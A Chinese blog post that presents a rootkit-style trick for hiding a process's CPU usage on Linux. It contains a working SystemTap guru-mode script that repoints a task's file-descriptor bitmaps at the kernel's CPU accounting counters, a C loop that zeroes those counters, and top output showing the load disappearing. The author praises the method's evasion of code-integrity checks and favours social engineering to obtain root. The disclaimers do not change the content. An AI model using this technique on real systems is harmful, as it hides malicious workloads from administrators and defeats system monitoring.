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想不想让CPU利用率展示成一首优美的旋律，就像弹琴一样。
我的意思是，你想让系统以及task的CPU利用率是多少它就是多少，一切都是由你的程序自己来 调制演奏。 这需要一种自指机制。
哈哈，完全可以，本文来演示，或者说，你可以把本文的内容看作一个戏弄运维人员的恶作剧。
运维人员经常会遇到各种CPU高的问题，然后成群结队地去排查，想让队伍更大些吗？想让事情更诡异吗？我让你查，我让你查。哈哈。
事先声明，若用本文描述的手段实施恶意行为，将会受到谴责，这并不是一个真正工程师该有的行为，更有辱手艺人的探索精神。
先大致介绍一下原理。
Linux系统的CPU利用率是通过时钟中断的打点来采样来统计的，具体的样本系统会展示在procfs中，具体就是/proc/stat。
进一步，/proc/stat中的信息是从全局的静态per cpu变量kernel_cpustat中取出来的：
static inline void task_group_account_field(struct task_struct *p, int index,
u64 tmp)
{
/* * Since all updates are sure to touch the root cgroup, we * get ourselves ahead and touch it first. If the root cgroup * is the only cgroup, then nothing else should be necessary. * */
__get_cpu_var(kernel_cpustat).cpustat[index] += tmp;
cpuacct_account_field(p, index, tmp);
}
其中的index是一个枚举，分别表示CPU时间的类型，大致看一眼就行：
enum cpu_usage_stat {
CPUTIME_USER,
CPUTIME_NICE,
CPUTIME_SYSTEM,
CPUTIME_SOFTIRQ,
CPUTIME_IRQ,
CPUTIME_IDLE,
...
NR_STATS,
};
每一次打点采样的时候，系统总是会把距离上一次打点采样的时间差递增到kernel_cpustat的对应index中。
我们只需要有一个机制，可以按照我们的意愿来修改kernel_cpustat的值就可以了。
显然，写一个模块，内置一个timer，每隔一段时间就去设置一下kernel_cpustat的值当然是OK的，很容易用stap的POC脚本演示效果。然而，这种方案动静太大，你不得不加载一个内核模块，而这很容易被运维抓到，因此你不得不去隐藏这个内核模块，我前面写过很多隐藏技巧，这将又是一个声势浩大的动作。
所以说，必须设计一种让task自己隐藏自己CPU利用率的自隐藏机制。
我瞄准了内核里的bitmap，恰好它的每一个bit就是一个琴键，相当形象的比喻，一个64位的bitmap就有64个琴键，每一个bit设置不同的值就能显示不同的CPU利用率。
具体如何做呢？
哈哈， task_struct里不是files_struct吗？files_struct里不是有fdtable吗？fdtable里不是有两个位图吗？
- close_on_exec位图。
- open_fds位图。
看出啥意思了吗？我想我已经不必多说了吧：
- 将close_on_exec位图指向具体CPU核的kernel_cpustat。
- 将open_fds位图指向task_struct自己的utime，stime的地址。
- 进程中不断地open/close具体的文件并fcntl对应的~FD_CLOEXEC标志。
来来来，看代码：
%{
#include <linux/kernel_stat.h>
#include <linux/fdtable.h>
%}
global pid;
global type;
global addr;
function change_fdt(tsk:long, type:long, addr:long)
%{
struct task_struct *p = (struct task_struct *)STAP_ARG_tsk;
struct files_struct *files;
struct fdtable *fdtbl;
struct kernel_cpustat *stat;
unsigned long *m = NULL;
files = p->files;
fdtbl = files->fdt;
stat = &__get_cpu_var(kernel_cpustat);
m = fdtbl->close_on_exec;
printk("before:%p\n", fdtbl->close_on_exec);
if (STAP_ARG_type == 1) {
fdtbl->close_on_exec = (unsigned long *)stat;
fdtbl->open_fds = (unsigned long *)&(p->utime);
} else if (STAP_ARG_type == 0) {
fdtbl->close_on_exec = (unsigned long *)STAP_ARG_addr;
}
printk("after:%p\n", fdtbl->close_on_exec);
%}
probe kernel.function("account_process_tick")
{
if (pid() == pid) {
//@cast($p, "struct task_struct")->utime = -100000;
//@cast($p, "struct task_struct")->stime = -100000;
change_fdt($p, type, addr);
exit();
}
}
probe begin
{
pid = $1
type = $2
addr = $3
}
照着上面的原理理解上述代码，够简单了，无须多讲。
再看一个超级消耗CPU的程序：
// loop.c
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
void clear_cpu_account()
{
int flags;
int i;
// 大致需要设置USER，SYS，SOFTIRQ等4个u64的值，256个bit足够了。
for (i = 3; i < 259; i++) {
if (i == 64 || i == 128) // 为了防止open_fds被理解为utime，stime后除0异常
continue;
i = open("./aa", O_RDONLY);
if (i == -1) {
perror("open");
exit(1);
}
flags = fcntl(i, F_GETFD);
flags &= ~FD_CLOEXEC;
fcntl(i, F_SETFD, flags);
}
for (i = 3; i < 259; i++) {
if (i != 64 && i != 128) // 为了防止open_fds被理解为utime，stime后除0异常
close(i);
}
}
int main()
{
while (1) {
clear_cpu_account();
}
}
来看效果。
先看不隐藏CPU利用率时的loop程序：
[root@localhost ~]# ./a.out &
[1] 4021
[root@localhost ~]# top
top - 23:03:26 up 3:06, 3 users, load average: 0.31, 0.08, 0.04
Tasks: 86 total, 2 running, 84 sleeping, 0 stopped, 0 zombie
%Cpu(s): 16.6 us, 83.4 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016860 total, 580596 free, 102116 used, 334148 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 757212 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4021 root 20 0 4212 352 280 R 94.0 0.0 0:16.39 a.out
11 root 20 0 0 0 0 S 6.0 0.0 0:01.25 rcuos/0
3881 root 20 0 0 0 0 S 0.3 0.0 0:01.35 kworker/0:1
1 root 20 0 43400 3688 2480 S 0.0 0.4 0:00.72 systemd
CPU利用率是不是波澜壮阔的，嗯，是的，一下子就知道a.out是元凶。
然后我们运行我们的stap脚本：
[root@localhost test]# stap -g ./hidestat.stp 4021 1 0
[root@localhost test]# top
top - 23:06:42 up 3:09, 3 users, load average: 2.00, 1.01, 0.41
Tasks: 85 total, 2 running, 83 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1016860 total, 579600 free, 102216 used, 335044 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 756400 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
11 root 20 0 0 0 0 S 5.3 0.0 0:11.88 rcuos/0
1 root 20 0 43400 3688 2480 S 0.0 0.4 0:00.72 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.01 ksoftirqd/0
7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
8 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcu_bh
咦？a.out呢？风平浪静了…
如我所愿，系统整体的CPU利用率，100% idle，a.out也早就不知道沉到哪里去了，为a.out取一个好名字，运维们根本不会想象这样的程序会是元凶，虽然在技术的视角非常有必要利用我之前介绍的trick将a.out隐藏掉，但是多一事不如少一事。
我比较喜欢这个方案，它的优点在于：
- 没有hook任意的内核代码，因此通过代码段摘要就无法查出来。
- 甚至无需隐藏进程，因此减少了对系统稳定的影响。
- 你可以通过修改loop.c程序实现自定义的CPU利用率控制(就像演奏一样)。
- …
我要赶紧结束掉a.out再继续写下去，虽然top看不出任何问题，但是我的电脑已经非常烫手了，显然，a.out依然在驱动着CPU开足马力耗电，只是这一切被藏了起来，这是炎热的夏天的夜晚…
…
代码临时仓促写着玩，还有很多问题没有解决：
- 确实偶尔会造成panic。
- 偶尔依然会有除0异常。
- 通过检查/proc/stat，会发现CPU时间计数器不是单调递增的，难不成时间会倒流？
- …
技术分析到此为止，最后我来谈一下关于Rootkit中的root如何理解。
先说我的结论：
- 我不认为用技术手段激活成功教程root属于Rootkit攻击的一部分。Rootkit需要你事先拿到最高权限。
Rootkit属于采用技术手段达到自己目的的一种内核木马，显然必须使用root权限才能将其装入内核，root权限是一个前置条件。
我倾向于采用社会工程学手段拿到最高权限，而不是采用技术手段去激活成功教程。
root权限，或者说最高权限的激活成功教程完全是另一个技术领域，它更多的是身份认证的工作，涉及到密码学，PKI体系等，而这些并不是Rootkit关注的。Rootkit关注的往往是你拿到权限之后，具体要做什么，而不是如何拿到权限。
社会工程学拿到root权限反而要省事的多。
另一方面，反过来讲，即便是给你root权限，绝大多数人也并非有能力去部署木马。这基本反驳了普遍存在的一个观点， “root都给你了，还有什么做不到的呢？” 你给一个非全栈的前端程序员root权限，让他写一个内核握手代理试试，即便是root已经在手的系统管理员，系统运维，绝大多数对于内核的控制也是无能为力的。当然，少数例外排除在外。
光root权限在手没用，若想实施一点坏主意，还需要对系统运作原理有足够深入的理解，而这个是非常专业的领域。这就好比很多人都知道开源是好事，可是能看懂源代码的人本就不多。开源对不懂代码的人有用吗？这是一种文化，而不是一门技术。
太晚了，有时间我会演示如何将CPU的高利用率甩锅给任意进程，以嫁祸于人或者恶意制造障碍。不过我必须再次声明，我并不是真的心存恶意，否则我也不会写出来，我只是在尽力避免这种恶意在现实中被实施。
浙江温州皮鞋湿，下雨进水不会胖。
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